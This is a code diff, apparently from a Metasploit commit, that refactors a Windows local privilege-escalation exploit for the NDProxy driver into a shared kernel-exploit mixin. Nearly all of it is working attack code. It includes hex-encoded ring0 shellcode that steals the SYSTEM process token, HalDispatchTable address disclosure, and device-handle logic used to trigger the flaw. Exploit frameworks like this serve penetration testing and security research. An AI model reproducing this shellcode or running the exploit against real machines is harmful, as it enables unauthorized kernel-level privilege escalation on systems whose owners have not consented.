4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'msf/core/exploit/local/windows_kernel'
7
8
require 'rex'
8
9
9
10
class Metasploit3 < Msf ::Exploit ::Local
10
11
Rank = AverageRanking
11
12
13
+ include Msf ::Exploit ::Local ::WindowsKernel
12
14
include Msf ::Post ::File
13
15
include Msf ::Post ::Windows ::Priv
14
16
include Msf ::Post ::Windows ::Process
@@ -84,89 +86,14 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
84
86
'DisclosureDate' => 'Nov 27 2013' ,
85
87
'DefaultTarget' => 0
86
88
} ) )
87
-
88
- end
89
-
90
- def add_railgun_functions
91
- session . railgun . add_dll ( 'psapi' ) unless session . railgun . dlls . keys . include? ( 'psapi' )
92
- session . railgun . add_function (
93
- 'psapi' ,
94
- 'EnumDeviceDrivers' ,
95
- 'BOOL' ,
96
- [
97
- [ "PBLOB" , "lpImageBase" , "out" ] ,
98
- [ "DWORD" , "cb" , "in" ] ,
99
- [ "PDWORD" , "lpcbNeeded" , "out" ]
100
- ] )
101
- session . railgun . add_function (
102
- 'psapi' ,
103
- 'GetDeviceDriverBaseNameA' ,
104
- 'DWORD' ,
105
- [
106
- [ "LPVOID" , "ImageBase" , "in" ] ,
107
- [ "PBLOB" , "lpBaseName" , "out" ] ,
108
- [ "DWORD" , "nSize" , "in" ]
109
- ] )
110
- end
111
-
112
- def open_device ( dev )
113
-
114
- invalid_handle_value = 0xFFFFFFFF
115
-
116
- r = session . railgun . kernel32 . CreateFileA ( dev , 0x0 , 0x0 , nil , 0x3 , 0 , 0 )
117
-
118
- handle = r [ 'return' ]
119
-
120
- if handle == invalid_handle_value
121
- return nil
122
- end
123
-
124
- return handle
125
- end
126
-
127
- def find_sys_base ( drvname )
128
- results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
129
- addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( "L*" )
130
-
131
- addresses . each do |address |
132
- results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
133
- current_drvname = results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
134
- if drvname == nil
135
- if current_drvname . downcase . include? ( 'krnl' )
136
- return [ address , current_drvname ]
137
- end
138
- elsif drvname == results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
139
- return [ address , current_drvname ]
140
- end
141
- end
142
-
143
- return nil
144
89
end
145
90
146
91
def ring0_shellcode ( t )
147
92
restore_ptrs = "\x31 \xc0 " # xor eax, eax
148
93
restore_ptrs << "\xb8 " + [ @addresses [ "HaliQuerySystemInfo" ] ] . pack ( "L" ) # mov eax, offset hal!HaliQuerySystemInformation
149
94
restore_ptrs << "\xa3 " + [ @addresses [ "halDispatchTable" ] + 4 ] . pack ( "L" ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
150
95
151
- tokenstealing = "\x52 " # push edx # Save edx on the stack
152
- tokenstealing << "\x53 " # push ebx # Save ebx on the stack
153
- tokenstealing << "\x33 \xc0 " # xor eax, eax # eax = 0
154
- tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
155
- tokenstealing << "\x8b \x40 " + t [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
156
- tokenstealing << "\x8b \xc8 " # mov ecx, eax
157
- tokenstealing << "\x8b \x98 " + t [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
158
- tokenstealing << "\x8b \x80 " + t [ '_APLINKS' ] + "\x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
159
- tokenstealing << "\x81 \xe8 " + t [ '_APLINKS' ] + "\x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
160
- tokenstealing << "\x81 \xb8 " + t [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
161
- tokenstealing << "\x75 \xe8 " # jne 0000101e ======================
162
- tokenstealing << "\x8b \x90 " + t [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
163
- tokenstealing << "\x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
164
- tokenstealing << "\x89 \x90 " + t [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
165
- tokenstealing << "\x5b " # pop ebx # Restores ebx
166
- tokenstealing << "\x5a " # pop edx # Restores edx
167
- tokenstealing << "\xc2 \x10 " # ret 10h # Away from the kernel!
168
-
169
- ring0_shellcode = restore_ptrs + tokenstealing
96
+ ring0_shellcode = restore_ptrs + token_stealing_shellcode ( t )
170
97
return ring0_shellcode
171
98
end
172
99
@@ -211,33 +138,8 @@ def create_proc
211
138
def disclose_addresses ( t )
212
139
addresses = { }
213
140
214
- vprint_status ( "Getting the Kernel module name..." )
215
- kernel_info = find_sys_base ( nil )
216
- if kernel_info . nil?
217
- vprint_error ( "Failed to disclose the Kernel module name" )
218
- return nil
219
- end
220
- vprint_good ( "Kernel module found: #{ kernel_info [ 1 ] } " )
221
-
222
- vprint_status ( "Getting a Kernel handle..." )
223
- kernel32_handle = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
224
- kernel32_handle = kernel32_handle [ 'return' ]
225
- if kernel32_handle == 0
226
- vprint_error ( "Failed to get a Kernel handle" )
227
- return nil
228
- end
229
- vprint_good ( "Kernel handle acquired" )
230
-
231
-
232
- vprint_status ( "Disclosing the HalDispatchTable..." )
233
- hal_dispatch_table = session . railgun . kernel32 . GetProcAddress ( kernel32_handle , "HalDispatchTable" )
234
- hal_dispatch_table = hal_dispatch_table [ 'return' ]
235
- if hal_dispatch_table == 0
236
- vprint_error ( "Failed to disclose the HalDispatchTable" )
237
- return nil
238
- end
239
- hal_dispatch_table -= kernel32_handle
240
- hal_dispatch_table += kernel_info [ 0 ]
141
+ hal_dispatch_table = find_haldispatchtable
142
+ return nil if hal_dispatch_table . nil?
241
143
addresses [ "halDispatchTable" ] = hal_dispatch_table
242
144
vprint_good ( "HalDispatchTable found at 0x#{ addresses [ "halDispatchTable" ] . to_s ( 16 ) } " )
243
145
@@ -257,16 +159,12 @@ def disclose_addresses(t)
257
159
return addresses
258
160
end
259
161
260
-
261
162
def check
262
- vprint_status ( "Adding the railgun stuff..." )
263
- add_railgun_functions
264
-
265
163
if sysinfo [ "Architecture" ] =~ /wow64/i or sysinfo [ "Architecture" ] =~ /x64/
266
164
return Exploit ::CheckCode ::Detected
267
165
end
268
166
269
- handle = open_device ( "\\ \\ .\\ NDProxy" )
167
+ handle = open_device ( "\\ \\ .\\ NDProxy" , 0x0 , 0x0 , 0x3 )
270
168
if handle . nil?
271
169
return Exploit ::CheckCode ::Safe
272
170
end
@@ -289,10 +187,6 @@ def check
289
187
end
290
188
291
189
def exploit
292
-
293
- vprint_status ( "Adding the railgun stuff..." )
294
- add_railgun_functions
295
-
296
190
if sysinfo [ "Architecture" ] =~ /wow64/i
297
191
fail_with ( Failure ::NoTarget , "Running against WOW64 is not supported" )
298
192
elsif sysinfo [ "Architecture" ] =~ /x64/
@@ -322,7 +216,7 @@ def exploit
322
216
end
323
217
324
218
print_status ( "Checking device..." )
325
- handle = open_device ( "\\ \\ .\\ NDProxy" )
219
+ handle = open_device ( "\\ \\ .\\ NDProxy" , 0x0 , 0x0 , 0x3 )
326
220
if handle . nil?
327
221
fail_with ( Failure ::NoTarget , "\\ \\ .\\ NDProxy device not found" )
328
222
else
@@ -409,9 +303,5 @@ def exploit
409
303
else
410
304
fail_with ( Failure ::Unknown , "Error while executing the payload" )
411
305
end
412
-
413
-
414
306
end
415
-
416
307
end
417
-
0 commit comments